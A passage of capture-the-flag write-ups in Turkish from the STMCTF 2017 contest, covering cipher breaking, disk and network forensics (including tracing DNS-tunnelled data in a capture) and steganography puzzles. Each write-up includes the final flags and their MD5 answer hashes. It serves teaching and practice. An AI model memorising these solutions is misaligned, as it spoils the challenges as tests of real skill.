http://bionsgadgets.appspot.com/gadget_forms/playfair6x6.html adresinden de cozum olusturulabiliyor. 39 | 40 | -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Disk Yuvarlak - Kod Kare 4 | 5 | ## Soru Metni: 6 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DiskYuvarlakKodKare/d02f7fa78908987a9460a4decbb1a927.png) 7 | 8 | ![f93f75f8cae4a51cdd9b491a7c11c69d.zip](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DiskYuvarlakKodKare/f93f75f8cae4a51cdd9b491a7c11c69d.zip) 9 | 10 | 11 | ## Çözüm: 12 | 13 | 1.Karekod herhangi bir okuyucu ile okutulduğunda Alberti Leon Battista adına kayıtlı telefon no ve mail adresi çıkmaktadır. Alberti Leon Battista (Alberti Disk) adıyla bilinen şifreleme aygıtının mucididir. 14 | 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DiskYuvarlakKodKare/disk1.png) 16 | 17 | 2.Telefon numarası olan 85836977657376 değeri ASCII karakterlerine oldukça benzemektedir ve http://www.asciitohex.com/ benzeri bir siteden ASCII’ye çevrildiğinde karakter karşılığının USEMAIL olduğu görülür. 18 | 3.Bu ipucu disk.rar dosyasının şifresinin kare koddan çıkan mail adresi olduğunu gösterir (battista1467@decifris.org). 19 | 4.Rar dosyasının içeriğinde aşağıdaki metin ve disk.jpg dosyası vardır. 20 | 21 | “mqzkqp{lnonenltptkeqxote}” 22 | 23 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DiskYuvarlakKodKare/disk2.png) 24 | 25 | 5.Resimde bir Alberti Diski örneği vardır ve A harfi E ile, B harfi G ile yer değiştiği görülür. Elle ya da şu adresten rahatlıkla çözülebilir http://goto.pachanka.org/crypto/alberti-cipher-disk/ 26 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DiskYuvarlakKodKare/disk3.png) 27 | 28 | 6.Çözüldükten sonra çıkan metin şu şekildedir “STMCTF{DEREAEDIFICATORIA}”. 29 | 30 | 7.De Re Aedificatori, Alberti Leon Battista tarafından yazılan ve Rönesans dönemi mimarisinin en önemli kitaplarından biridir. 31 | 32 | 8.Dolayısıyla panele girilmesi gereken flag değeri MD5(STMCTF{DEREAEDIFICATORIA}) = 0d6c1aea74d30fdb5fb488f08d3e3375 ‘dir. 33 | -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/d02f7fa78908987a9460a4decbb1a927.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/d02f7fa78908987a9460a4decbb1a927.png -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/disk1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk1.png -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/disk2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk2.png -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/disk3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk3.png -------------------------------------------------------------------------------- /CRYPTO/DiskYuvarlakKodKare/f93f75f8cae4a51cdd9b491a7c11c69d.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/f93f75f8cae4a51cdd9b491a7c11c69d.zip -------------------------------------------------------------------------------- /CRYPTO/LFSR64/1368bcdb1fd305416757edbe85a35843.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/LFSR64/1368bcdb1fd305416757edbe85a35843.zip -------------------------------------------------------------------------------- /CRYPTO/LFSR64/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: LFSR64 3 | 4 | ## Soru Metni: 5 | Düşman hatlarından gelen son mesajı bir türlü çözemiyoruz. Açık mesaj anahtarla XOR’lanmış ve anahtar olarak da 64 bitlik bir LFSR çıktısı kullanılmış. Ancak ne polinomu ne de LFSR’ın ilk değerini (seed) biliyoruz. Bildiğimiz tek şey açık mesajın ilk 16 karakterin “bugunhavagunesli” olduğu. Mesajın geri kalanını da çözmemiz lazım! 6 | 1368bcdb1fd305416757edbe85a35843.zip 7 | 8 | ## Çözüm: 9 | 10 | 1.Bu soru derin bir kriptografi bilgisi gerektirdiğinden kripto bölümündeki zor gözüken ve pek dokunulmayan sorulardan bir tanesiydi. 11 | 12 | 2.Soruda anahtar üreteci olarak 64 bitlik LFSR (Linear Feedbach Shift Register) kullanıldığı belirtilmekte. Bu üreteç doğrusal olduğundan üretecin ilk değeri ve polinomu bilinmese de 128 bitlik ardışık çıktısı biliniyorsa Berlekamp-Massey algoritması ile aynı diziyi üreten en küçük LFSR bulunabilir. Yarışmanın ilerleyen bölümlerinde bu algoritma bu ipucu olarak verildi. 13 | 14 | 3.Açık mesajın ilk 16 karakteri (128 bit) hali hazırda verilmiş. Bu durumda açık mesajın ilk 128 biti; 15 | 16 | m(0,128) = bugunhavagunesli = 01100010011101010110011101110101011011100110100001100001011101100110000101100111011101010110111001100101011100110110110001101001 17 | 18 | olur. Dolayısıyla cipher’ın ilk 128 biti ile xorlanırsa, LFSR’ın ilk 128 bitlik çıktısı şu şekilde bulunur. 19 | 20 | anahtar(0,128) = m(0,128) ^cipher(0,128) = 21 | 01100000101010100110101011100101010100010010010101010000101010100110010010000010001010001111000100111001101100111000011000000110 22 | 23 | 4.Bu diziyi üreten polinom Berlekamp-Massey algoritması ile x^64 + x^55 + x^30 + x^3 + 1 olarak bulunur. 24 | 25 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/LFSR64/lsfr1.png) 26 | 27 | Polinom yardımıyla dizinin tamamı üretilerek açık mesaj bulunur. 28 | m = 01100010011101010110011101110101011011100110100001100001011101100110000101100111011101010110111001100101011100110110110001101001010100110101010001001101010000110101010001000110011110110100001101010100010001100101111101101001011000110110100101101110010111110110111001100101010111110110011101110101011110100110010101101100010111110110001001101001011100100101111101100111011101010110111001111101 29 | 30 | m = bugunhavagunesliSTMCTF{CTF_icin_ne_guzel_bir_gun} 31 | 32 | MD5(STMCTF{CTF_icin_ne_guzel_bir_gun})=6B86E64B15DA1CB9BE2369355DBCB222 33 | -------------------------------------------------------------------------------- /CRYPTO/LFSR64/lsfr1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/LFSR64/lsfr1.png -------------------------------------------------------------------------------- /CRYPTO/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/439eec60a5ce2520a4078dac350c6e4b.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/439eec60a5ce2520a4078dac350c6e4b.zip -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: ŞA the DARKNIGHT 3 | 4 | ## Soru Metni: 5 | Alfred Batman’e ulaştırmak istediği dosyaları ziplerek saklıyormuş. Ama kendisi akıllı olduğu için flag.zip parolasını en az 60 karakter falan vermiş. Verilen .mpeg dosyasının içindeki bilgiler bilmediğimiz bir şifreleme yöntemiyle kriptolanmış ve/veya içinde bilgi kodlanmıştır. Pes etme ve içerdiği mesajı bul. 6 | 439eec60a5ce2520a4078dac350c6e4b.zip 7 | flag.zip 8 | 9 | ## Çözüm: 10 | 11 | 1.Verilen darknight.mpeg dosyası strings komutu ile incelenir. 12 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/SAtheDarknight/dk1.png) 13 | 14 | 2.Elde edilen binary code text haline dönüştürülür. Çıkan text aşağıda gösterilmiştir.Yapısından bir Base64 kodu olduğu anlaşılır. 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/SAtheDarknight/dk2.png) 16 | 17 | 3. Elde edilen bu çıktı decode edildiğinde bu kez aşağıdaki gibi bir metinle karşılaşılır. 18 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/SAtheDarknight/dk3.png) 19 | 20 | 4. Bu aşamada elde edilen metin anahtarsız CEASER-13(ROT13) şifreleme algoritmasıyla decrypt edilir ve aşağıdaki açık metne kavuşulur. 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/SAtheDarknight/dk4.png) 22 | 23 | 5.Bu noktada BatmanveRobin sha256 hash değeri alınarak flag’i içeren zip dosyasının parolası bulunur. 24 | 25 | $ echo -n "BatmanveRobin" | sha256sum 26 | 4e490270fa48fb14365e0a326711f158814d8e634e624f172c7ba0b146fe76b0 27 | 28 | 6.Flag.txt açıldığında nihai flagin aşağıda gösterilen değer olduğu bulunur. 29 | 30 | STMCTF{Gotham_artik_daha_guvenli!} 31 | 32 | EEF1795A3A93F66AEBC067880783B1FB 33 | 34 | -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/dk1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk1.png -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/dk2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk2.png -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/dk3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk3.png -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/dk4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk4.png -------------------------------------------------------------------------------- /CRYPTO/SAtheDarknight/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/flag.zip -------------------------------------------------------------------------------- /FOR/DerinArastirma/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Derin Araştırma 4 | 5 | ## Soru Metni: 6 | 7 | Kaynağı belirsiz bir yazılımın indirilmesi sonucu makinelerin birinde zararlı aktivite ile karşılaşılmıştır. Derin bir araştırma sonucu dosya sisteminden zararlı aktiviteye sebep olan yazılımı bulup bayrağı yakalayabilecek misin? 8 | 0d4b03de6ec80c61b2e90213b6d4ce8e.zip 9 | 10 | ## Çözüm: 11 | 12 | 1.Strings komutuyla disk.dump dosyasın raw formatlı olduğunu bulduktan sonra. Dosya sistemi analiz araçları kullanılarak, sırasıyla dos formatı, block-size 512-byte sektör olduğu bulunur. İncelenmek istenen disk alanının NTFS formatlı ve başlangıç değerinin 63 olduğu anlaşılır. 13 | 14 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/DerinArastirma/der1.png) 15 | 16 | 2.Fls komutu vasıtasıyla dosya tablolarının timeline’ı oluşturulur. Mactime ile dosya düzeni bulunur. 17 | 18 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/DerinArastirma/der2.png) 19 | 20 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/DerinArastirma/der3.png) 21 | 22 | 3.Aranan dosyanın Kullanıcı klasörü içerisinde yer alan tftpd.zip dosyası olduğu anlaşılır. 23 | 24 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/DerinArastirma/der4.png) 25 | 26 | 4.Tam adresi alındıktan sonra raw formatlı dosya içerisinden icat vasıtasıyla çıkartılır. 27 | 28 | icat disk.dump -o 63 -i raw -f ntfs -b 512 11515-128-3 > tftpd.zip 29 | 30 | 5.Sıkıştırılmış dosya açıldıktan sonra strings komutu ile bayrak bulunur. 31 | 32 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/DerinArastirma/der5.png) 33 | -------------------------------------------------------------------------------- /FOR/DerinArastirma/der1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der1.png -------------------------------------------------------------------------------- /FOR/DerinArastirma/der2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der2.png -------------------------------------------------------------------------------- /FOR/DerinArastirma/der3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der3.png -------------------------------------------------------------------------------- /FOR/DerinArastirma/der4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der4.png -------------------------------------------------------------------------------- /FOR/DerinArastirma/der5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der5.png -------------------------------------------------------------------------------- /FOR/FarkiBul/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Farkı Bul 3 | 4 | ## Soru Metni: Flag resmin içinde. Kendi kendine kilitlenip açılan killit buldum. 5 | c214364ee8d366a4170337c5216f498c.zip 6 | 7 | ## Çözüm: 8 | 1.lock-a ve lock-b png dosyalarının piksel olarak farkını aldığımızda decryption için işimize yarayacak olan anahtarı görüyoruz. 9 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/FarkiBul/fark1.png) 10 | 11 | 12 | 2.Aynı resim dosyalarının meta bilgilerinden part_1 ve part_2 olarak ciphertext elde ediliyor. Örnek komut: “exiftool lock-a.png” 13 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/FarkiBul/fark2.png) 14 | 15 | 16 | 3.Şu ana kadar elde ettiğimiz bilgileri ve lock.png’de açık olarak görünen IV değerini kullanarak decryption işlemini gerçekleştirip flag’i elde ediyoruz. 17 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/FarkiBul/fark3.png) 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /FOR/FarkiBul/c214364ee8d366a4170337c5216f498c.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/c214364ee8d366a4170337c5216f498c.zip -------------------------------------------------------------------------------- /FOR/FarkiBul/fark1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark1.png -------------------------------------------------------------------------------- /FOR/FarkiBul/fark2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark2.png -------------------------------------------------------------------------------- /FOR/FarkiBul/fark3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark3.png -------------------------------------------------------------------------------- /FOR/KarakoyMuhallebicisi/41795a29a6d369da13d9bbc086008ca1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/41795a29a6d369da13d9bbc086008ca1.zip -------------------------------------------------------------------------------- /FOR/KarakoyMuhallebicisi/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Karakoy Muhallebicisi 2 | 3 | ## Soru Metni: 4 | Sisteme sızan bir saldırganın veri kaçırdığını farkettik. Ekteki ağ trafik kaydını inceleyerek, kaçırılan veriyi bulmakta bize yardımcı olur musun? 5 | 6 | 41795a29a6d369da13d9bbc086008ca1.zip 7 | 8 | ## Çözüm: 9 | 10 | 1. Wireshark ile inceledigimiz zaman dns trafigini olusturan subdomainlerin anlam ifade etmeyen karakterler olustugunu tespit ediyoruz. 11 | 12 | 2. Bu DNS paketlerindeki 213.74.41.50 ile olan trafigin yapisi XXX.YYY seklinde oldugu anlasilir. 13 | 14 | ```“5140 56.127685403 172.16.196.137 → 172.16.196.138 DNS 92 Standard query 0x6971 A AYLEMRUXI2.LPNYQHI3ZA OPT”``` 15 | 16 | 3. Tshark ile DNS trafigi filtrelenerek text dosyasina aktarilir. 17 | 18 | ```tshark -n -r karakoy.pcapng -Y 'dns' > dns.txt``` 19 | 20 | 4. 213.74.41.50 IP adresi ile iletisim filtrelenerek supheli kisim ayri bir text dosyasina aktarilir. 21 | 22 | ```cat dns.txt | grep '213.74.41.50' | cut -d' ' -f14 > dns2.txt``` 23 | 24 | 25 | 5. Text dosyasindaki “.” karakterleri cikarilir. 26 | 27 | ```tr -d '.' < dns2.txt > dns3.txt``` 28 | 29 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/KarakoyMuhallebicisi/kar1.png) 30 | 31 | 32 | 6. Text dosyasindaki “.” karakterleri cikarilir. 33 | 34 | ```tr -d '\n' < dns3.txt > dns4.txt``` 35 | 36 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/KarakoyMuhallebicisi/kar2.png) 37 | 38 | 39 | 40 | #Cikan karakterler analiz edildiginde. Base32 encode edildigi ortaya cikmaktadir. 41 | #base32 -d komutu ile decode edilmektedir. 42 | 43 | ```base32 -d dns4.txt | grep STMCTF``` 44 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/KarakoyMuhallebicisi/kar3.png) 45 | -------------------------------------------------------------------------------- /FOR/KarakoyMuhallebicisi/kar1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar1.png -------------------------------------------------------------------------------- /FOR/KarakoyMuhallebicisi/kar2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar2.png -------------------------------------------------------------------------------- /FOR/KarakoyMuhallebicisi/kar3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar3.png -------------------------------------------------------------------------------- /FOR/Kostebek/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Köstebek 3 | 4 | ## Soru Metni: 5 | 6 | Şirketimizde önemli veri sızıntıları yaşandı. Ağ paketlerini inceleyerek kaçırılan veriyi bulmanı istiyoruz! 7 | ac6b6864c2dc3978c0a6a8cdba239dcd.zip 8 | 9 | ## Çözüm: 10 | 11 | 1. network_analysis.pcapng dosyası wireshark vasıtasıyla açılır. Objeler seçeneğinden HTTP objeleri içerisinde yer alan confidential.zip dosyası kaydedilir. Dosyanın şifreli olduğu anlaşılır. 12 | 13 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/Kostebek/kostebek1.png) 14 | 15 | 2. Ağ paketleri içerisinde XMPP ağ paketleri içerisinde yer alan mesajlaşmalar dikkatli incelenerek, şifre bulunur. Mesajlaşmalarda geçen ‘’ işaretlerinde yer alan kelimeler peşi sıra eklenir. 16 | 17 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/Kostebek/kostebek2.png) 18 | 19 | 3. Şifre girildikten sonra confidential.txt dosyası içerisinde bayrak bulunur. 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/FOR/Kostebek/kostebek3.png) 22 | -------------------------------------------------------------------------------- /FOR/Kostebek/kostebek1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek1.png -------------------------------------------------------------------------------- /FOR/Kostebek/kostebek2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek2.png -------------------------------------------------------------------------------- /FOR/Kostebek/kostebek3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek3.png -------------------------------------------------------------------------------- /FOR/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MISC/AdresiBul/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Adresi Bul 3 | 4 | ## Soru Metni: 5 | 6 | Bir hacker dünya çapında web ve mobil uygulamalarını daha güvenli hale getirmek için çalışan ve top 10 zafiyetleri yayınlayan organizasyonun sitesini ele geçiriyor. Yetkililer sunucunun nasıl ele geçirildiğini tespit edemiyor ve atağın zero day olabileceğini söylüyor. Tüm güvenlik araştırmacıları yeni bir yöntem olduğunu ve bunu acilen bilinmesi gerektiğini belirtiyor. Zafiyet tespiti için de sunucunun fiziksel adresine erişmek gerekiyor Size düşen ise sunucudan dönen fiziksel adresin olduğu bulvarın ismini bulmak. Bayrak için ipucu STMCTF{\*_*_Blvd} 7 | 8 | Soruyu hazırlayan: [Ş] 9 | 10 | 11 | ## Çözüm: 12 | 13 | 1. Dünya çapında web ve mobil uygulama güvenliğini arttırmak için çalışan ve top 10 zafiyetleri yayınlayan organizasyon www.owasp.org olarak düşünülür. 14 | 15 | 16 | 17 | 2. nslookup www.owasp.org sorgusu yapılır. IP 104.130.219.202 olarak bulunur. 18 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/AdresiBul/adr1.png) 19 | 20 | 3. Burada istenen fiziksel adres sunucudan dönen ‘loc’ bilgisidir. İstenilen IP’den dönen fiziksel adresi bulabilmek için çeşitli yöntemlerden biri uygulanır. Loc ekran görüntüsündeki gibi bulunur. 21 | 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/AdresiBul/adr2.png) 23 | 24 | 25 | 4. Bulunan koordinat bilgisi Google maps’te aranarak hedef bulunmaya çalışılır. 26 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/AdresiBul/adr3.png) 27 | 28 | 5. Hedefe ulaşılır. Soruda da ipucu olarak verilen {\*_*_Blvd} şekilde adres bulunur. Center Park Blvd 29 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/AdresiBul/adr4.png) 30 | 31 | Bulunan adres STMCTF bayrak formatına göre md5 değeri bulunur. 32 | 33 | $echo -n 'STMCTF{Center_Park_Blvd}' | md5sum 34 | 35 | 2a14c77547e08e867c98af69465c62e7 36 | 37 | -------------------------------------------------------------------------------- /MISC/AdresiBul/adr1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr1.png -------------------------------------------------------------------------------- /MISC/AdresiBul/adr2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr2.png -------------------------------------------------------------------------------- /MISC/AdresiBul/adr3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr3.png -------------------------------------------------------------------------------- /MISC/AdresiBul/adr4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr4.png -------------------------------------------------------------------------------- /MISC/DijitalDunyadanCik/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Dijital Dünyadan Çık 3 | 4 | ## Soru Metni: 5 | 6 | Flag bu sefer dijital dünyada değil üzerinde. 7 | 8 | ## Çözüm: 9 | 10 | 11 | 1. Yarışmacılara verilen yaka kartlarının arkasında flag hexadecimal encode edilmiş şekilde yer almaktadır. Sadece 4. Satırdaki değer padding olarak verilmiştir. 12 | 13 | 53544D4354467B59346B615F4B34722B696E 14 | 15 | 495F443468615F436F304C5F59347074696B 16 | 17 | 5F30796C655F56337264696B5F53697A657D 18 | 19 | 0123456789ABCDF0123456789ABCDF012345 20 | 21 | 22 | 2. hex(Flag) = 53544d4354467b59346b615f4b34722b696e495f443468615f436f304c5f59347074696b5f30796c655f56337264696b5f53697a657d 23 | 24 | Flag = STMCTF{Y4ka_K4r+inI_D4ha_Co0L_Y4ptik_0yle_V3rdik_Size} = 2703A91D45233D0729B5099ED787B5DD 25 | -------------------------------------------------------------------------------- /MISC/IcimYandi/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: {içim yandı} 4 | 5 | ## Soru Metni: 6 | 7 | Sadece resim. Sana verebileceğim tek şey bu. 8 | 9 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/IcimYandi/b6d4575a18de06e94ae0b06c0b4115b7.jpg) 10 | 11 | ## Çözüm: 12 | 13 | 14 | 1. Fotoğrafın contrast ayarlarıyla oynadıktan sonra aşağıdaki gibi binary formatta ipucu saklanmıştı. 15 | 16 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/IcimYandi/ic1.png) 17 | 18 | 2. Binary decode ettiğimizde “Siz hala su icmediniz mi? :)” mesajı ile karşılaşıyoruz. 19 | 20 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/IcimYandi/ic2.png) 21 | 22 | 23 | 3. Daha sonra masaya dağıtılan su şişesini incediğimizde jelatinin arkasında “STEG PASS: 552-745” yazılı stickerı farketmemiz bekleniyordu. 24 | 25 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/IcimYandi/ic3.png) 26 | 27 | 4. Steghide aracını kullanarak flagimizi bulabilirdik. 28 | 29 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/IcimYandi/ic4.png) 30 | -------------------------------------------------------------------------------- /MISC/IcimYandi/b6d4575a18de06e94ae0b06c0b4115b7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/b6d4575a18de06e94ae0b06c0b4115b7.jpg -------------------------------------------------------------------------------- /MISC/IcimYandi/ic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic1.png -------------------------------------------------------------------------------- /MISC/IcimYandi/ic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic2.png -------------------------------------------------------------------------------- /MISC/IcimYandi/ic3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic3.png -------------------------------------------------------------------------------- /MISC/IcimYandi/ic4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic4.png -------------------------------------------------------------------------------- /MISC/KarisikKaset/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Karışık Kaset 2 | 3 | ## Soru Metni: 4 | 5 | Şifreli görüşen iki casus arasındaki internet trafiğini kopyalamayı başardık. Ama PCAP dosyasından sadece bu dosya çıktı. Başta önemsemedik de bir mp3 dosyasında 35 tane şarkı olması bize biraz garip geldi. Hacker kulaklarını kullanarak şu dosyayı analiz eder misin? 6 | 7 | ## Çözüm: 8 | 9 | 1. Bu soruda yaklasik 13 dakikalik bir MP3 dosyasi icerisinde flag bulunmaya calisildi. 10 | Sorudaki "Hacker kulaklarını kullan" ifadesi ve yarisma esnasinda "Mr. Robot'da Elliot'in yaptığı kadar karışık degil. Basit düşün." ipucu ile sorunun Steganografi sorunu olmadigini anliyoruz. 11 | 12 | 2. Ipuclari arasinda yer alan "Music Discovery, Charts & Song Lyrics", Google'da araninca ilk sirada Shazam cikiyor. 13 | Bu ipucu verilmeden once de karisikkaset.mp3 dosyasi ffprobe ile incelendiginde bazi ipuclari karsimiza cikiyor. 14 | 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/KarisikKaset/karisikkaset1.png) 16 | 17 | 18 | 3. Shazam ile her şarkı değişiminde şarkının adı bulunabiliyor. Sarkı isimlerinin baş harfleri sıralandığında FLAG 